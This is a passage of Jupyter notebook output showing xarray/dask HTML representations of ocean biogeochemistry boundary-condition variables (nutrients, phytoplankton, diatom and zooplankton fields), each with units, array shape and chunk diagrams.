<line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>southern boundary refractory dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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type='checkbox'><label for='data-532fa829-e90d-4c9a-9315-7ae42f4c7da8' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary refractory dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", 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for='attrs-c705b948-a8f3-4937-9ccd-121889f0b4de' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3bfc0fea-7461-4900-b6f0-b7726d646db4' class='xr-var-data-in' type='checkbox'><label for='data-3bfc0fea-7461-4900-b6f0-b7726d646db4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary refractory dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-6887f309-98e5-45fc-9788-f2539c4e90b6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6887f309-98e5-45fc-9788-f2539c4e90b6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2a528160-a5af-4729-8a62-917cd036e819' class='xr-var-data-in' type='checkbox'><label for='data-2a528160-a5af-4729-8a62-917cd036e819' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary small phytoplankton chlorophyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>southern boundary small phytoplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-27d961e1-e75d-412b-a2c6-96456be17dd4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary small phytoplankton phosphorous</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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</td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>southern boundary diatom carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" 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for='attrs-68a2e36e-65bf-4c62-8422-344ef8ebb04c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ec7f8ff0-6d60-4aae-98a4-eb0fcfcf03f8' class='xr-var-data-in' type='checkbox'><label for='data-ec7f8ff0-6d60-4aae-98a4-eb0fcfcf03f8' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary diatom iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-40d1b0ae-a17d-4231-997f-8a36887a1ff9' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-40d1b0ae-a17d-4231-997f-8a36887a1ff9' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5361bf25-56e2-44b1-a980-c239e0570b95' class='xr-var-data-in' type='checkbox'><label for='data-5361bf25-56e2-44b1-a980-c239e0570b95' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary diatom silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>southern boundary diazotroph chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-88a61c23-0d9a-4051-8567-a9a1eee0a1ff' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary diazotroph carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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for='attrs-070cde19-a82e-4cd9-be3d-29358af64e86' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bbcf770e-7b60-4181-bcdf-5947efc1ee8c' class='xr-var-data-in' type='checkbox'><label for='data-bbcf770e-7b60-4181-bcdf-5947efc1ee8c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary diazotroph phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-af3f008b-ddfc-4f67-a0cc-4a4c10f74798' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-af3f008b-ddfc-4f67-a0cc-4a4c10f74798' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-fa1f47d3-29a4-4463-896d-01a65216da78' class='xr-var-data-in' type='checkbox'><label for='data-fa1f47d3-29a4-4463-896d-01a65216da78' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary diazotroph iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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<line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>southern boundary small phytoplankton CaCO3</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-cc1dc819-5881-4188-9534-e6db69f1dbe5' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary zooplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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for='attrs-953f99fe-5d6a-4486-9e59-795b61d69dda' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3a7ba6d5-cc91-49c8-8c3d-3bb1b4ad60bd' class='xr-var-data-in' type='checkbox'><label for='data-3a7ba6d5-cc91-49c8-8c3d-3bb1b4ad60bd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved inorganic phosphate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 68 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" 